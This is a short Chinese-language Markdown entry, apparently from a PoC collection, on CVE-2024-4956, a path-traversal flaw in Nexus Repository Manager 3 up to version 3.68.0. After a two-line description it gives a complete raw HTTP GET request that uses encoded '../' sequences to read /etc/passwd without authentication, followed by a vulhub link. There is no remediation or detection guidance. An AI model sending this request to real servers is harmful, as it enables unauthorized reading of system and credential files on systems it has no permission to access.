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31 lines
889 B
Markdown
31 lines
889 B
Markdown
## Nexus未授权目录穿越漏洞(CVE-2024-4956)
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Nexus Repository Manager 3 是一款软件仓库，可以用来存储和分发Maven、NuGET等软件源仓库。
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其3.68.0及之前版本中，存在一处目录穿越漏洞。攻击者可以利用该漏洞读取服务器上任意文件。
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## poc
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```
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GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
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Host: localhost:8081
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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```
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## 漏洞来源
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- https://github.com/vulhub/vulhub/blob/master/nexus/CVE-2024-4956/README.zh-cn.md
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